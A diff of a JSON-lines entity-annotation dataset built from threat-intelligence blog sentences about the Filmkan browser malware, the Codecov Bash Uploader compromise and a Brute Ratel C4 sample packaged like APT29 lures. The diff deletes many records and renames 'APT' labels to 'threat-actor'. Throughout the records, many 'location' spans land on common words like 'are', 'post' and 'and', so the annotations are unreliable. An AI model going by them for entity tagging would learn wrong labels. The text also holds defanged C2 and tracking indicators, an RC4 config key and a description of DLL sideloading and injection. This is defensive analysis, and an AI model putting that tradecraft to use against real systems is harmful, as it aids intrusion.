-{"id":6273,"text":" The latest version of the script no longer forces the user to like these posts, instead it causes the user to follow two accounts on Twitter and a third account on Facebook.  Other than all three of these accounts belonging to Turkish individuals, the connection between these accounts and this attack is unclear.","entities":[{"id":19441,"label":"location","start_offset":142,"end_offset":145},{"id":19446,"label":"location","start_offset":264,"end_offset":271},{"id":19447,"label":"location","start_offset":287,"end_offset":290}],"relations":[],"Comments":[]}
-{"id":6274,"text":" The script also includes a tracking URL hosted by amung.us, which allows the attacker to identify how many users are actively infected with the malware.","entities":[{"id":19449,"label":"location","start_offset":103,"end_offset":107},{"id":19450,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":6275,"text":"A snapshot of the current number of infections follows:  hxxp:\/\/ whos.amung .us\/swidget\/hcfj8xyq9p94  The attacker frequently updates this tracking URL, most likely to keep track of users who are currently executing the latest malicious extension code.","entities":[{"id":19451,"label":"location","start_offset":153,"end_offset":157},{"id":19452,"label":"location","start_offset":158,"end_offset":164},{"id":19453,"label":"location","start_offset":192,"end_offset":195},{"id":19454,"label":"location","start_offset":237,"end_offset":246}],"relations":[],"Comments":[]}
-{"id":6276,"text":" The full content of the latest script follows.","entities":[{"id":19455,"label":"location","start_offset":10,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":6277,"text":" Filmkan does not exploit any software vulnerabilities and thus far has relied on social engineering to infect users.","entities":[{"id":19457,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":6278,"text":"Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.","entities":[],"relations":[],"Comments":[]}
 {"id":6279,"text":" Organizations should block access to the following domains to prevent Filmkan from receiving updates from the attacker.","entities":[],"relations":[],"Comments":[]}
-{"id":6280,"text":"These domains are the primary weakness of Filmkan, as shutting all three of them down simultaneously would remove the attackers access to the botnet.  Thus far, WildFire has automatically identified Filmkan droppers with the following MD5 hashes:  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!","entities":[{"id":19461,"label":"location","start_offset":14,"end_offset":17},{"id":19464,"label":"location","start_offset":76,"end_offset":80},{"id":19467,"label":"location","start_offset":310,"end_offset":313},{"id":19468,"label":"location","start_offset":339,"end_offset":344},{"id":19469,"label":"location","start_offset":373,"end_offset":377}],"relations":[],"Comments":[]}
-{"id":6281,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":19470,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":6282,"text":"This post is also available in:      日本語 (Japanese)  On April 16, Codecov, an online platform and software company that provides code testing reports and statistics, disclosed that an adversary modified their Bash Uploader script.","entities":[{"id":19471,"label":"location","start_offset":5,"end_offset":9},{"id":19475,"label":"location","start_offset":94,"end_offset":97},{"id":19476,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":6283,"text":"The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.","entities":[],"relations":[],"Comments":[]}
-{"id":6284,"text":" Codecov’s investigation found that beginning January 31, a threat actor made periodic, unauthorized alterations to the Bash Uploader script.","entities":[{"id":19482,"label":"location","start_offset":73,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":6285,"text":"The script was modified to export information out of their users’ continuous integration (CI) environments to a third-party server outside of Codecov’s infrastructure.","entities":[{"id":19484,"label":"location","start_offset":27,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":6286,"text":"This information could include, but is not limited to, credentials, tokens, services, datastores and application code.","entities":[{"id":19486,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":6287,"text":"  This incident is not limited to clients who only used the Bash Uploader script.","entities":[{"id":19487,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":6288,"text":"This script can also be found in other tools such as:  As of the time of this writing, based on signatures and indicators that have been observed, Palo Alto Networks customers are protected across our product ecosystem, with specific protections deployed in the following products and subscriptions:","entities":[{"id":19489,"label":"location","start_offset":12,"end_offset":15},{"id":19490,"label":"location","start_offset":65,"end_offset":69},{"id":19491,"label":"location","start_offset":107,"end_offset":110},{"id":19493,"label":"location","start_offset":176,"end_offset":179},{"id":19494,"label":"location","start_offset":281,"end_offset":284}],"relations":[],"Comments":[]}
 {"id":6289,"text":"  Organizations using Codecov’s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.","entities":[],"relations":[],"Comments":[]}
-{"id":6290,"text":"We recommend customers take advantage of the protections listed above and implement the remediation actions recommended by Codecov to limit their impact.","entities":[{"id":19497,"label":"location","start_offset":70,"end_offset":73},{"id":19499,"label":"location","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":6291,"text":"  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":19500,"label":"location","start_offset":64,"end_offset":67},{"id":19501,"label":"location","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":6292,"text":" Please mark, I'm not a robot!","entities":[{"id":19502,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":6293,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":19503,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":6294,"text":"This post is also available in:      日本語 (Japanese)  Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics.","entities":[{"id":19504,"label":"location","start_offset":5,"end_offset":9},{"id":19506,"label":"identity","start_offset":53,"end_offset":60},{"id":19507,"label":"location","start_offset":88,"end_offset":91},{"id":19508,"label":"location","start_offset":160,"end_offset":163},{"id":19509,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":6295,"text":"On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it.","entities":[{"id":19512,"label":"location","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":6296,"text":"Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.","entities":[{"id":19515,"label":"location","start_offset":55,"end_offset":61},{"id":19516,"label":"location","start_offset":125,"end_offset":128},{"id":19517,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":6297,"text":" The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market.","entities":[{"id":19518,"label":"location","start_offset":5,"end_offset":11},{"id":19520,"label":"tools","start_offset":74,"end_offset":78},{"id":19521,"label":"location","start_offset":104,"end_offset":107},{"id":19522,"label":"location","start_offset":138,"end_offset":142},{"id":19523,"label":"identity","start_offset":146,"end_offset":149},{"id":19524,"label":"location","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":6298,"text":"While this capability has managed to stay out of the spotlight and remains less commonly known than its Cobalt Strike brethren, it is no less sophisticated.","entities":[{"id":19525,"label":"location","start_offset":63,"end_offset":66},{"id":19527,"label":"location","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":6299,"text":"Instead, this tool is uniquely dangerous in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities.","entities":[{"id":19528,"label":"location","start_offset":14,"end_offset":18},{"id":19529,"label":"location","start_offset":119,"end_offset":122},{"id":19530,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":6300,"text":"Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.","entities":[{"id":19531,"label":"location","start_offset":30,"end_offset":33},{"id":19532,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":6301,"text":"In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443.","entities":[{"id":19534,"label":"location","start_offset":34,"end_offset":40},{"id":19535,"label":"location","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":6302,"text":"Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of “Microsoft” and organization unit of “Security.”","entities":[{"id":19540,"label":"location","start_offset":134,"end_offset":137},{"id":19541,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":6303,"text":"Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.","entities":[{"id":19542,"label":"location","start_offset":42,"end_offset":45},{"id":19545,"label":"tools","start_offset":120,"end_offset":124},{"id":19546,"label":"location","start_offset":134,"end_offset":137},{"id":19549,"label":"location","start_offset":234,"end_offset":238}],"relations":[],"Comments":[]}
-{"id":6304,"text":" This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.","entities":[{"id":19550,"label":"location","start_offset":13,"end_offset":19},{"id":19551,"label":"APT","start_offset":67,"end_offset":72},{"id":19552,"label":"location","start_offset":84,"end_offset":87},{"id":19553,"label":"location","start_offset":139,"end_offset":144},{"id":19554,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":6305,"text":"Specifically, this sample was packaged as a self-contained ISO.","entities":[{"id":19555,"label":"location","start_offset":19,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":6306,"text":"Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL and a legitimate copy of Microsoft OneDrive Updater.","entities":[{"id":19556,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
+{"id":6304,"text":" This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.","entities":[{"id":19550,"label":"location","start_offset":13,"end_offset":19},{"id":19551,"label":"threat-actor","start_offset":67,"end_offset":72},{"id":19552,"label":"location","start_offset":84,"end_offset":87},{"id":19553,"label":"location","start_offset":139,"end_offset":144},{"id":19554,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":6307,"text":"Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.","entities":[{"id":19559,"label":"attack-pattern","start_offset":165,"end_offset":191}],"relations":[],"Comments":[]}
-{"id":6308,"text":"However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.","entities":[{"id":19560,"label":"location","start_offset":42,"end_offset":45},{"id":19561,"label":"location","start_offset":88,"end_offset":94},{"id":19563,"label":"location","start_offset":152,"end_offset":156},{"id":19564,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":6309,"text":" Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques.","entities":[{"id":19566,"label":"location","start_offset":1,"end_offset":8},{"id":19567,"label":"location","start_offset":76,"end_offset":80},{"id":19568,"label":"location","start_offset":139,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":6310,"text":"This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity.","entities":[{"id":19570,"label":"location","start_offset":77,"end_offset":83},{"id":19571,"label":"location","start_offset":98,"end_offset":105},{"id":19572,"label":"location","start_offset":128,"end_offset":134},{"id":19573,"label":"location","start_offset":135,"end_offset":138},{"id":19575,"label":"location","start_offset":154,"end_offset":160},{"id":19576,"label":"location","start_offset":162,"end_offset":165},{"id":19577,"label":"location","start_offset":168,"end_offset":172},{"id":19578,"label":"location","start_offset":213,"end_offset":216},{"id":19579,"label":"location","start_offset":228,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":6311,"text":" We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.  Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.","entities":[{"id":19580,"label":"location","start_offset":18,"end_offset":26},{"id":19581,"label":"location","start_offset":86,"end_offset":90},{"id":19582,"label":"location","start_offset":91,"end_offset":94},{"id":19583,"label":"location","start_offset":122,"end_offset":127},{"id":19584,"label":"location","start_offset":151,"end_offset":155},{"id":19587,"label":"location","start_offset":285,"end_offset":288},{"id":19588,"label":"malware","start_offset":289,"end_offset":297}],"relations":[],"Comments":[]}
-{"id":6312,"text":" Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.  Brute Ratel C4 Overview From Click to Brute Packaging of Roshan_CV.iso Modification of Version.dll x64","entities":[{"id":19589,"label":"location","start_offset":68,"end_offset":74},{"id":19590,"label":"location","start_offset":75,"end_offset":78},{"id":19591,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":6313,"text":"Shellcode","entities":[],"relations":[],"Comments":[]}
-{"id":6314,"text":"Decrypted OneDrive.Update Target Network Infrastructure Identifying OneDrive.","entities":[{"id":19594,"label":"location","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":6315,"text":"Update Badger_x64.exe","entities":[],"relations":[],"Comments":[]}
 {"id":6316,"text":"Employment","entities":[],"relations":[],"Comments":[]}
-{"id":6317,"text":"Other Samples and Infrastructure Protections and Mitigations Conclusion Indicators of Compromise Additional Resources","entities":[{"id":19595,"label":"location","start_offset":14,"end_offset":17},{"id":19596,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":6318,"text":" Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020.","entities":[{"id":19598,"label":"location","start_offset":16,"end_offset":20},{"id":19599,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":6319,"text":"At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India.","entities":[{"id":19601,"label":"location","start_offset":7,"end_offset":11},{"id":19602,"label":"location","start_offset":40,"end_offset":44},{"id":19603,"label":"location","start_offset":45,"end_offset":51},{"id":19604,"label":"location","start_offset":57,"end_offset":65},{"id":19606,"label":"identity","start_offset":99,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":6320,"text":"According to his website (Dark Vortex), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors.","entities":[{"id":19611,"label":"location","start_offset":122,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":6321,"text":"Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support and training.","entities":[{"id":19614,"label":"location","start_offset":82,"end_offset":86},{"id":19615,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":6322,"text":" In January 2022, Nayak left his day job in order to pursue full-time development and training workshops.","entities":[{"id":19618,"label":"location","start_offset":33,"end_offset":36},{"id":19619,"label":"location","start_offset":37,"end_offset":40},{"id":19620,"label":"location","start_offset":65,"end_offset":69},{"id":19621,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":6323,"text":"That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.”  However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”  ","entities":[{"id":19626,"label":"location","start_offset":125,"end_offset":129},{"id":19627,"label":"attack-pattern","start_offset":245,"end_offset":264},{"id":19628,"label":"location","start_offset":286,"end_offset":289}],"relations":[],"Comments":[]}
-{"id":6324,"text":"Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.","entities":[{"id":19629,"label":"location","start_offset":36,"end_offset":39},{"id":19630,"label":"location","start_offset":81,"end_offset":89},{"id":19631,"label":"location","start_offset":141,"end_offset":144},{"id":19632,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":6325,"text":" BRc4 currently advertises itself as “A Customized Command and Control Center for Red Team and Adversary Simulation.”","entities":[{"id":19634,"label":"location","start_offset":59,"end_offset":62},{"id":19635,"label":"location","start_offset":71,"end_offset":77},{"id":19636,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":6326,"text":"On May 16, Nayak announced that the tool had gained 480 users across 350 customers.","entities":[{"id":19639,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":6327,"text":" The latest version, Brute Ratel v1.0 (Sicilian Defense) was released a day later on May 17, and is currently offered for sale at a price of $2,500 per user and $2,250 per renewal.","entities":[{"id":19645,"label":"location","start_offset":93,"end_offset":96},{"id":19646,"label":"location","start_offset":122,"end_offset":126},{"id":19647,"label":"location","start_offset":132,"end_offset":137},{"id":19649,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":6328,"text":"With this price point and customer base, BRc4 is positioned to take in more than $1 million dollars in sales over the next year.","entities":[{"id":19651,"label":"location","start_offset":10,"end_offset":15},{"id":19652,"label":"location","start_offset":16,"end_offset":21},{"id":19653,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":6329,"text":" Figure 3. BRc4 licensing and cost.","entities":[{"id":19659,"label":"location","start_offset":26,"end_offset":29},{"id":19660,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":6330,"text":"In terms of features, BRc4 advertises the following capabilities:","entities":[],"relations":[],"Comments":[]}
 {"id":6331,"text":" The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan.","entities":[{"id":19663,"label":"SHA2","start_offset":53,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":6332,"text":"It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.","entities":[],"relations":[],"Comments":[]}
-{"id":6333,"text":"The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization’s ISO 9960 file system, which is typically used to back up files for CD\/DVD.","entities":[{"id":19668,"label":"location","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":6334,"text":"The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive.","entities":[{"id":19670,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":6335,"text":"Finally, the archived files of the ISO are displayed to the user.","entities":[{"id":19672,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":6336,"text":"In this case, when the ISO is double-clicked, a user is presented with the following:  As depicted in Figure 5, the user would see a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word","entities":[{"id":19673,"label":"location","start_offset":8,"end_offset":12},{"id":19678,"label":"location","start_offset":254,"end_offset":257}],"relations":[],"Comments":[]}
-{"id":6337,"text":"From the window dialog box it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.","entities":[{"id":19681,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":6338,"text":" If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine.  By default, on Windows operating systems, hidden files are not displayed to the user.","entities":[{"id":19687,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":6339,"text":"In Figure 6, there are four hidden files concealed from view.","entities":[{"id":19689,"label":"location","start_offset":19,"end_offset":22},{"id":19691,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":6340,"text":"If the display of hidden files is enabled, the user sees the following:  The lure file, the one visible to the user, is a Windows shortcut file (LNK) with the following properties:  Microsoft shortcut files, those with a .lnk file extension, contain enriched metadata that can be used to provide artifacts about the file.","entities":[{"id":19692,"label":"location","start_offset":77,"end_offset":81},{"id":19693,"label":"location","start_offset":92,"end_offset":95},{"id":19695,"label":"location","start_offset":231,"end_offset":240},{"id":19696,"label":"location","start_offset":273,"end_offset":276}],"relations":[],"Comments":[]}
-{"id":6341,"text":"Some key artifacts of this file are:  When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur:  Figure 8 below gives an overview of how this process would look.  ","entities":[{"id":19697,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":6342,"text":"The composition of the ISO file, Roshan_CV.ISO, closely resembles that of other nation-state APT tradecraft.","entities":[{"id":19699,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":6343,"text":"The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).","entities":[{"id":19700,"label":"location","start_offset":69,"end_offset":72},{"id":19701,"label":"APT","start_offset":105,"end_offset":110},{"id":19702,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":6344,"text":" The following images show how Roshan_CV.ISO and Decret.ISO would look to a user when double-clicked.","entities":[{"id":19703,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
+{"id":6343,"text":"The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).","entities":[{"id":19700,"label":"location","start_offset":69,"end_offset":72},{"id":19701,"label":"threat-actor","start_offset":105,"end_offset":110},{"id":19702,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":6345,"text":"Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked.","entities":[],"relations":[],"Comments":[]}
 {"id":6346,"text":"In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.","entities":[],"relations":[],"Comments":[]}
 {"id":6347,"text":" Figure 10 shows how the ISOs would appear when show hidden files” is enabled for viewing.","entities":[],"relations":[],"Comments":[]}
 {"id":6348,"text":" The flow of execution is the following:  Roshan_CV.ISO→Roshan-Bandar_CV_Dialog.LNK→cmd.exe→OneDriveUpdater.exe→version.dll→OneDrive.Update  Decret.ISO→Decret.LNK→cmd.exe→HPScan.exe→version.dll→HPScanApi.dll  ","entities":[],"relations":[],"Comments":[]}
 {"id":6349,"text":"The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.  While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.","entities":[{"id":19706,"label":"attack-pattern","start_offset":57,"end_offset":71},{"id":19707,"label":"location","start_offset":156,"end_offset":160},{"id":19708,"label":"location","start_offset":221,"end_offset":227}],"relations":[],"Comments":[]}
 {"id":6350,"text":" Version.dll is a modified version of a legitimate Microsoft file written in C++.","entities":[],"relations":[],"Comments":[]}
-{"id":6351,"text":"The implanted code is used to load and decrypt an encrypted payload file.","entities":[{"id":19715,"label":"location","start_offset":30,"end_offset":34},{"id":19716,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":6352,"text":"The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host.","entities":[{"id":19717,"label":"location","start_offset":48,"end_offset":56},{"id":19719,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":6353,"text":" In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll.","entities":[{"id":19721,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":6354,"text":"Any time OneDriveUpdater.exe makes a call into the actor’s Version.dll, the call is proxied to vresion.dll.","entities":[{"id":19722,"label":"location","start_offset":4,"end_offset":8},{"id":19723,"label":"location","start_offset":37,"end_offset":41},{"id":19724,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":6355,"text":"Because of this, the actor’s version.dll will load vresion.dll as a dependency file.","entities":[{"id":19725,"label":"location","start_offset":41,"end_offset":45},{"id":19726,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":6356,"text":"The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:  The technique outlined above uses process injection via undocumented Windows NTAPI calls.","entities":[{"id":19727,"label":"location","start_offset":72,"end_offset":75},{"id":19728,"label":"attack-pattern","start_offset":161,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":6357,"text":"The decrypted payload is now running within the runtimebroker.exe memory space.","entities":[],"relations":[],"Comments":[]}
 {"id":6358,"text":"The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.","entities":[],"relations":[],"Comments":[]}
-{"id":6359,"text":" The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself.","entities":[{"id":19729,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":6360,"text":"The assembly instructions involve multiple push and mov instructions.","entities":[{"id":19730,"label":"location","start_offset":4,"end_offset":12},{"id":19731,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":6361,"text":"The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header.","entities":[{"id":19732,"label":"malware","start_offset":35,"end_offset":49},{"id":19733,"label":"location","start_offset":60,"end_offset":68},{"id":19734,"label":"location","start_offset":102,"end_offset":106},{"id":19735,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":6362,"text":"Using a series of push and mov instructions evades in-memory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning.","entities":[{"id":19736,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":6363,"text":"The entry point of the decrypted payload is the following:  The unpacking involves 25,772 push and 25,769 mov instructions.","entities":[{"id":19737,"label":"location","start_offset":10,"end_offset":15},{"id":19739,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":6364,"text":"When finished, the code performs the following.","entities":[],"relations":[],"Comments":[]}
-{"id":6365,"text":" The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode.  The configuration data is passed as a parameter to the start address of the new thread.","entities":[{"id":19741,"label":"location","start_offset":68,"end_offset":71},{"id":19743,"label":"location","start_offset":180,"end_offset":185}],"relations":[],"Comments":[]}
 {"id":6366,"text":"This data includes the encrypted configuration settings for Brute Ratel C4.","entities":[],"relations":[],"Comments":[]}
-{"id":6367,"text":"The encrypted contents are the following:  The data is base64-encoded and RC4-encrypted.","entities":[{"id":19745,"label":"location","start_offset":23,"end_offset":26},{"id":19746,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6368,"text":"The 16-byte RC4 decryption key is: bYXJm\/3#M?:XyMBF  ","entities":[],"relations":[],"Comments":[]}
 {"id":6369,"text":"The decrypted configuration file is:  Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.","entities":[{"id":19748,"label":"location","start_offset":92,"end_offset":95},{"id":19749,"label":"location","start_offset":96,"end_offset":99},{"id":19750,"label":"IPV4","start_offset":140,"end_offset":157},{"id":19751,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":6370,"text":"The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:","entities":[{"id":19752,"label":"IPV4","start_offset":7,"end_offset":24},{"id":19753,"label":"location","start_offset":50,"end_offset":53},{"id":19756,"label":"location","start_offset":190,"end_offset":193},{"id":19757,"label":"identity","start_offset":220,"end_offset":229},{"id":19758,"label":"location","start_offset":230,"end_offset":238}],"relations":[],"Comments":[]}
 {"id":6371,"text":" Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.","entities":[{"id":19759,"label":"location","start_offset":10,"end_offset":13},{"id":19760,"label":"IPV4","start_offset":30,"end_offset":47},{"id":19761,"label":"location","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":6372,"text":"To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov.","entities":[{"id":19764,"label":"location","start_offset":98,"end_offset":105},{"id":19765,"label":"location","start_offset":136,"end_offset":144},{"id":19766,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":6373,"text":"These instructions are used to build the second layer of shellcode.","entities":[{"id":19767,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":6374,"text":"Searching across VirusTotal, we found a second sample with the same push and mov instructions:","entities":[{"id":19771,"label":"location","start_offset":47,"end_offset":53},{"id":19772,"label":"location","start_offset":63,"end_offset":67},{"id":19773,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":6375,"text":" Initially, what stood out to us was the filename containing the word “badger.”","entities":[{"id":19774,"label":"location","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":6376,"text":"According to the Brute Ratel C4 website, the word “badger” represents payloads used for remote access.","entities":[{"id":19776,"label":"location","start_offset":51,"end_offset":57},{"id":19777,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":6377,"text":"When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious.","entities":[{"id":19781,"label":"location","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]}
